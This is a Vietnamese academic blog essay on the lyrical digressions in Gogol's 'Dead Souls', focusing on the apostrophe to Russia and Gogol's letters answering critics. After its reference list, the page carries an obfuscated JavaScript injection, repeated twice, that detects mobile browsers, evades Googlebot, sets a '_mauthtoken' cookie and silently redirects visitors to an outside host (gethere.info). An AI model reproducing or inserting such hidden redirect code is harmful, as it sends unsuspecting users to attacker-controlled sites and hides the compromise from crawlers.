Trữ tình ngoại đề trong “Những linh hồn chết” của N. V. Gôgôn

Nicôlai Vaxiliêvich Gôgôn là nhà văn lớn của Nga thế kỉ 19. Tiểu thuyết Những linh hồn chết là một trong những tác phẩm lớn của Gôgôn, “mở ra một cái mốc quan trọng đánh dấu thắng lợi rực rỡ của chủ nghĩa hiện thực trong văn học Nga” [2, tr.200]. Tác phẩm kể về một anh chàng khả nghi tên là Tsitsicốp đi mua danh sách những người nông dân đã chết, tất nhiên là số tiền cực kì ít, để trở thành người chủ có số lượng nông nô lớn. Với số lượng nông nô có trong tay này, dù chỉ là những linh hồn chết, hắn ta sẽ được những lợi lộc gì đó, ví như đi xin đất, vay tiền ngân hàng… Nhưng cuối cùng những âm mưu của hắn cũng bị phát giác. Trên con đường phiên lưu của Tsitsicốp, một bức tranh về đời sống quý tộc và công chức Nga vào thế kỉ 19 hiện lên một cách ảm đạm, đầy rẫy chuyện xấu xa. Những linh hồn chết, do đó còn có ý nghĩa mang tính biểu tượng. Tác giả đi khắp nơi, tìm những linh hồn sống, nhưng chỉ gặp những linh hồn chết: “thật có thể tưởng chừng mọi vật đều đã chết – và ở nước Nga, những linh hồn sống đã nhường chỗ cho những linh hồn chết”(Bốn bức thư của tác giả nói về Những linh hồn chết1843) [1, tr.423], nghĩa là chỉ gặp một nước Nga tối tăm, trì trệ, lạc hậu đến khủng khiếp.

Tác phẩm là một thiên trường ca về cuộc sống hiện thực Nga. Tính chủ quan, ngòi bút nồng nhiệt với tâm hồn chân thành, trái tim đầy thiện tâm đã thấm đượm khắp tác phẩm, đạt tới “cảm hứng trữ tình cao cả”, điều mà chính Gô gôn đã cảm nhận [2, tr.202]. Tính chủ quan nồng nhiệt này thể hiện qua các đoạn trữ tình ngoại đề mà Gôgôn gọi là “những đoạn mạn đàm trữ tình” (Bức thư thứ 2-1843).

***

Trữ tình ngoại đề (TTNĐ) là hình thức ngôn từ tác giả kiêm người trần thuật bị chệch ra ngoài việc miêu tả các sự kiện trong cốt truyện, không gắn trực tiếp tới hành động tác phẩm, trong đó tác giả hoặc người kể chuyện trực tiếp bộc lộ những tư tưởng, tình cảm, quan niệm của mình nhằm bình luận hoặc đánh giá đối với cuộc sống và nhân vật trong cốt truyện (Wikipedia- Bách khoa toàn thư mở).

Như vậy, trong quan hệ với cốt truyện, TTNĐ là yếu tố ngoài cốt truyện, thuộc thành phần tĩnh của cốt truyện. Theo Mieke Bal, nhà tự sự học người Hàlan, đây là thành phần phi tự sự, giúp định giá những động lực tư tưởng và thẩm mĩ của câu chuyện [4, tr.86].

TTNĐ có thể là lời mở đầu tác phẩm, lời cuối, hoặc xen vào giữa câu chuyện.

Trong quan hệ với tác giả, TTNĐ trực tiếp thể hiện tư tưởng tác giả, giúp cho việc xây dựng hình tượng tác giả như một người trò chuyện tâm giao với độc giả (Wikipedia- Bách khoa toàn thư mở). Do đó, TTNĐ là phương tiện giúp soi sáng nội dung tư tưởng của tác phẩm: bộc lộ đầy đủ và trực tiếp hơn thái độ, sự đánh giá nhân vật, cũng như quan niệm nhân sinh của tác giả (Từ điển văn học). Qua TTNĐ, người ta thấy trực tiếp hình tượng tác giả. Trong văn học cận đại, nhất là trong các tiểu thuyết, những đoạn TTNĐ này có khá nhiều. Bởi lẽ, nhiều khi tác giả không dấu được mình mà tham gia trực tiếp vào câu chuyện, nếu như hình tượng tác giả đóng vai trò là một vai giao tiếp với độc giả.

TTNĐ thường là xuất hiện khi tác giả miêu tả một cảnh vật, một hiện tượng, một nhân vật nào đó, tiếp đến là những lời bình luận, đánh giá, đặc biệt là thổ lộ: Đau đớn thay phận đàn bà, Lời rằng bạc mệnh cũng là lời chung; Những người bạc ác tinh ma, Mình làm mình chịu kêu mà ai thương;  Chữ tâm kia mới bằng ba chữ tài; Tu là cõi phúc, tình là dây oan (Truyện Kiều – Nguyễn Du)

TTNĐ chính là điểm giao thoa giữa thể loại tự sự và trữ tình.Tính ước lệ của xúc cảm ngôn từ thi ca khiến trữ tình ngoại đề thường phổ biến ở các tiểu thuyết bằng thơ, truyện thơ hoặc những tác phẩm văn xuôi mang tính biểu cảm cao (Wikipedia- Bách khoa toàn thư mở).

***

Trong Những linh hồn chết, theo Nguyễn Hải Hà “mật độ các đoạn này (TTNĐ) cao đến mức dường như tạo ra bình diện trữ tình bên cạnh bình diện tự sự trong kết cấu trường ca này” [2, tr.200]. Trong đó, tác giả bộc lộ suy nghĩ và cảm xúc của mình về rất nhiều vấn đề khác nhau: thói quỵ lụy cấp bậc; cách đặt biệt hiệu thời niên thiếu; cảnh vườn hoang phế; những con đường vô tận; dục vọng của con người; hai loại nhà văn, sứ mạng và số phận của họ; số phận nông nô Nga; tính cách Nga: phóng khoáng, sức mạnh tiềm tàng bí ẩn, lòng nhiệt thành; tiếng hát dân gian não nùng, thê thiết; tương lai của nước Nga…

Những đoạn trữ tình ngoại đề đó thể hiện những dấu ấn và kỉ niệm tuổi thơ, niềm tin mạnh mẽ vào sứ mạng lịch sử của nhà văn viết theo khuynh hướng hiện thực chủ nghĩa, những tính cách Nga, nỗi buồn đau hiện tại và ước mong tốt đẹp với tương lai đất nước… Ngòi bút của ông thật nồng nhiệt, chân thành. Đặc biệt, tính chủ quan mạnh mẽ đến mức Biêlinxki đã nhận xét: “tính chủ quan sâu sắc, phổ biến, nhân đạo, nó chứng tỏ rằng nghệ sĩ là người có trái tim nồng nhiệt, có tâm hồn đầy thiện cảm” [2, tr.199].

Ở đây, chúng tôi tập trung vào đoạn trữ tình ngoại đề nói về nước Nga.

Đoạn văn này xuất hiện khi nhân vật Tsitsicốp đang đi trên đường. Bỗng nhiên “tác giả bỏ nhân vật của mình ở giữa đường thiên lí” [1, tr.425] rồi tự mình nói lên những cảm nghĩ về nước Nga.

1. Đoạn văn trữ tình ngoại đề hay vào bậc nhất trong nền văn học Nga và thế giới. Theo chúng tôi, đây là một trong những đoạn văn ấn tượng và sâu sắc, mang tính trữ tình cao, bộc lộ một tình yêu đất nước nồng nhiệt: Ôi nước Nga! nước Nga! Từ phương xa kì ảo này, ta thấy nước Nga nghèo nàn xơ xác và không ở được… Chẳng có gì làm xiêu lòng, làm đẹp mắt người ta cả. Nhưng mà sức mạnh huyền bí nào thu hút ta đến với người? Tại sao vang lên không dứt bên tai ta khúc ca ai oán, văng vẳng từ biển nọ tới biển kia, khắp nơi trên không gian bao la? Có cái gì trong khúc hát ấy? Cái gì kêu gọi, và thổn thức, và thít chặt lấy trái tim ta? Những âm thanh nào len lỏi, như một cái vuốt ve đau đớn vào tận hồn ta, và ám ảnh hồn ta không dứt?

Nước Nga! Ngươi muốn gì ở ta? Sợi dây khó hiểu nào đã ràng buộc chúng ta với nhau? Có gì mà ngươi lại nhìn ta như thế? tại sao tất cả những gì trong nước Nga đều quay lại nhìn ta với những đôi mắt đầy vẻ mong chờ?…Lưỡng lự, ta đứng yên; một đám mây đầy giông tố sắp vỡ ra thành mưa, làm tối sầm bầu trời trên đầu ta, và tư duy của ta lặng thinh trước cảnh bao la của nó. Không gian vô tận này đã báo hiệu cái gì? Vô biên, người sẽ sinh ra một thiên tài cũng bao la như ngươi chăng?Chẳng phải đã tiền định rằng ngươi sẽ đẻ ra những anh hùng, vì ngươi đem cho họ trường hoạt động rộng lớn để xây dựng sự nghiệp? cảnh mênh mông hùng cường của ngươi làm ta tràn ngập nhiệt tình, xao xuyến đến tận chốn sâu thẳm của tâm hồn; một sức mạnh siêu phàm làm ta mở mắt ra. Ôi xứ sở của những chân trời rực rỡ, cao cả, không thấy ở nơi nào khác trên thế giới. Ôi nước Nga!…

2. Chân thành hay huyênh hoang? Sau khi quyển 1 tác phẩm Những linh hồn chết ra đời, đã có nhiều ý kiến chỉ trích đoạn văn này, cho rằng nó không ăn nhập gì lắm so với cốt truyện, và có vẻ kiêu ngạo khi tỏ ra tình thương đối với nước Nga. Ngay cả Biêlinxki, trong tạp chí Niên san của tổ quốc, mặc dù ca tụng khả năng hiện thực chủ nghĩa và tâm hồn nhiệt thành của tác giả, nhưng cũng cho rằng tác phẩm có những đoạn tỏ lòng yêu nước quá huyênh hoang.Ý kiến phản đối nhiều đến nỗi Gôgôn phải viết bốn bức thư để trả lời, bày tỏ chính kiến của mình, trong đó riêng bức thư thứ hai chỉ nói về đoạn văn này.

3. Lời tự bào chữa – thể hiện một tình yêu nồng cháy với nước Nga

Theo tác giả, đoạn văn này không phải là huyênh hoang, cũng chẳng phải kiêu ngạo, mà có thể chỉ là sự diễn đạt vụng về của một tình cảm chân thành. Gôgôn khẳng định đây là một tình cảm chân thành: Ngay giờ phút này tôi vẫn còn cảm thấy ấn tượng đó. Tôi không sao chịu đựng nổi những âm thanh ai oán, não lòng của bài ca Nga khi nó rung lên trong không gian vô tận của thôn quê ta. Những âm thanh ấy ám ảnh tâm hồn tôi… Ai là người trong những âm thanh thê thiết của bài dân ca Nga, không nhận thấy những lời trách móc đau xót đối với bản thân mình, thì người ấy đã làm xong bổn phận của mình một cách trọn vẹn, trừ phi không có một tâm hồn Nga (Bức thư thứ hai).

Nguyên nhân của những âm thanh thê thiết, ai oán đó là sự nghèo nàn, lạc hậu, tăm tối vẫn bao phủ khắp nước Nga, như là kết quả của sự trì trệ của bộ máy hành chính với những viên chức, những kẻ có bổn phận thi hành pháp luật, kẻ thì gian lận, hối lộ, lãnh đạm, ranh ma, bịp bợm, một số thì cũng có lòng nhiệt thành và tận tụy nhưng dễ nản chí, nhu nhược, hèn nhát.

Nhà văn đã nhận thấy âm thanh của lời trách móc đau xót mà tất cả các sự vật đang ở nước Nga đã lên tiếng. Và để thoát khỏi trạng thái cảm thấy bị trách móc đó, con người phải thực hiện tốt nghĩa vụ của mình, mà đối với nhà văn, chính là viết ra những tác phẩm có ích cho nước nhà.“Chính vì tôi đã cảm biết được cái tính nhu nhược đáng hổ thẹn của tôi, cái tính hèn nhát đáng khinh của tôi, nỗi bất lực của lòng yêu nước của tôi; cho nên tôi mới nghe thấu được lời trách móc đau xót mà tất cả những sự vật đang ở nước Nga đã lên tiếng nói với tôi. Nhưng một sức mạnh cao cả đã nâng tôi dậy; không có lỗi lầm nào không bổ cứu được; và tuy lúc đầu tôi đã chán nản trước cảnh tượng những không gian hoang vắng, về sau chính những cảnh tượng ấy đã làm cho tôi đầy nhiệt tình: tôi đã thấy khỏang không vô tận ấy là một môi trường hoạt động tuyệt vời. Và tự đáy lòng tôi đã thốt lên lời kêu gọi nước Nga: chẳng phải ngươi vốn có sứ mệnh sinh ra những bậc anh hùng đó sao? Ngươi hiến cho họ biết bao nhiêu là không gian để xây dựng sự nghiệp!”

Đó không phải là một câu văn viết cho kêu để lòe người, cũng không phải là một lời huyênh hoang. Không, lời kêu gọi đó tôi thốt ra tự đáy lòng, và đến nay lòng tôi vẫn còn rung cảm vì nó. Giờ đây sống ở nước Nga, bất cứ lúc nào người ta cũng có thể trở thành một bậc anh hùng. Mỗi địa vị, mỗi chức vụ đều đòi hỏi bản lĩnh anh hùng (Bức thư thứ hai).

Một sức mạnh cao cả, một nhiệt tình mạnh mẽ, một lời kêu gọi tự đáy lòng về việc phải xuất hiện những người anh hùng đưa nước Nga thoát khỏi tình trạng này. Mỗi một người, ở mỗi một vị trí, địa vị, chức vụ của mình hãy là một anh hùng khi thực hiện cái chức vụ đó như trạng thái cao cả mà nó có. Trực giác ông cho rằng đó là sự nghiệp cao quý, sự nghiệp đưa nước Nga thoát khỏi nghèo nàn, lạc hậu, tối tăm, vô nghĩa.

Cả đoạn văn dấy lên một tình yêu nước Nga mãnh liệt, thể hiện một trách nhiệm công dân cao cả.

4. Tính dân tộc của ngòi bút trữ tình qua những biểu tượng. Sự gắn bó máu thịt giữa Gôgôn và đời sống dân tộc khiến Biêlinxki đã có lần coi ông như là một nghệ sĩ Nga có tính dân tộc cao nhất. Còn Ghécxen cũng nhận định: Những linh hồn chết là một tác phẩm kì diệu, một lời trách móc cay đắng đối với nước Nga đương thời nhưng không tuyệt vọng. Ở đâu mà tầm mắt có thể xuyên thấu đám sương mù bẩn thỉu, hôi hám, là ở đấy nhà văn trông thấy ngay tính dân tộc mãnh liệt và quả cảm [2, tr.200]

Tính dân tộc trong tác phẩm của Gôgôn thấm đẫm hương vị và bản sắc Nga, thể hiện ở hồn dân tộc. Chính Gôgôn đã có lần phát biểu: tính dân tộc không phải ở trong việc miêu tả cái áo xa raphan  mà ở trong chính ngay tinh thần nhân dân [2, tr.153]. Trong đoạn trữ tình ngoại đề này, hồn dân tộc trước hết bộc lộ qua những cảm nhận về điệu ai oán trong những bài dân ca Nga. “Dân ca Nga – đó là lịch sử tâm hồn Nga”. Vậy thì tiếng hát ở đây cũng là biểu tượng của lịch sử tâm hồn Nga, một tâm hồn đau thương trong đọa đầy. Thông thường, những ca khúc dân gian của bất cứ dân tộc nào khi cất lên cũng chạm đến chỗ nhạy cảm nhất của con người: hồn dân tộc. Những bài dân ca Nga cũng thế. Nó luôn gắn bó gần gũi với mọi tâm hồn Nga. “Tâm hồn Nga chân thực, nồng cháy lên tiếng trong giọng hát, làm xao xuyến lòng người, rung động những sợi dây tâm tình của trái tim Nga” (Những kẻ hát hay- Bút kí người đi săn, Tuốcghênhiép). Nhân vật trữ tình trong đoạn văn đã rung động và hòa điệu cùng với hồn của những khúc dân ca. Trên con đường lữ hành thăm thẳm, tiếng hát dân ca thê thiết luôn là bạn đồng hành.

Tiếp đến, những lời ca ai oán ấy lại có chất chứa sức cảnh tỉnh mạnh mẽ, gợi nhớ trách nhiệm ở những con người chân chính. Biêlinxki từng nói, có một nỗi buồn thường ẩn náu trong những ca khúc dân ca Nga, nhưng đó là một nỗi buồn của những tâm hồn lớn lao mạnh mẽ không gì bẻ gãy được. Đây chính là những điểm tựa, là những gì thân thiết của tình cảm và trái tim Nga qua những khúc hát dân gian, khiến nhà văn hy vọng tràn trề về một tương lai tươi sáng của nước Nga, đất nước không phải chỉ có những kẻ ăn bám, lọc lừa, mà còn là đất nước của những tâm hồn rộng mở, phóng khoáng, nhiệt thành…

Biểu tượng thứ hai, đó là hình ảnh nước Nga. Nước Nga trong đoạn văn này hiện lên như một thực thể sinh động, có hồn: Người nhìn ta, ngươi muốn gì ở ta? –quê hương đất nước đang ngóng trông, đợi chờ những người con ưu tú của mình.

Biểu tượng thứ ba: cỗ xe tam mã. Chính là hình ảnh nước Nga bất chấp mọi khó khăn gian khó trên đường đời, mà vẫn phóng khoáng, hào hùng…

Biểu tượng thứ tư: con đường. Một không gian bao la tít tắp mở đến tận chân trời, hiện thân của khoảng không khát vọng của con người.

***

Có người nói, về bản chất, đề tài chính của trường ca Những linh hồn chết là Nước Nga. Trong tất cả các đoạn trữ tình ngoại đề, đề tài này được phát triển, thậm chí mở rộng [3]. Hình tượng nước Nga đã hiện lên với những chi tiết đời sống mang tính khái quát cùng những tình cảm và suy tư trữ tình sâu sắc.

Tháng 9-2009

Lê Lưu Oanh

—–

Chú thích:

  1. N.V.Gôgôn, Những linh hồn chết, Hoàng Thiếu Sơn dịch, Nxb Văn học, HN, 2001
  2. Đỗ Hồng Chung, Nguyễn Hải Hà…, Lịch sử văn học Nga, Nxb Giáo dục, HN, 1998
  3. Trữ tình ngoại đề trong E.Onhêghin (A.C. Puskin) và Những linh hồn chết (N.V.Gôgôn), http://www.spisano.ru/essays/fiels.php?35800
  4. Nhiều tác giả, Tự sự học-một số vấn đề lí luận và lịch sử. Nxb ĐHSPHN, 2008

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

About leluuoanh

Giáo viên Đại học sư phạm Hà Nội - khoa Ngữ Văn - bộ môn Lý Luận văn học
Bài này đã được đăng trong Bài báo. Đánh dấu đường dẫn tĩnh.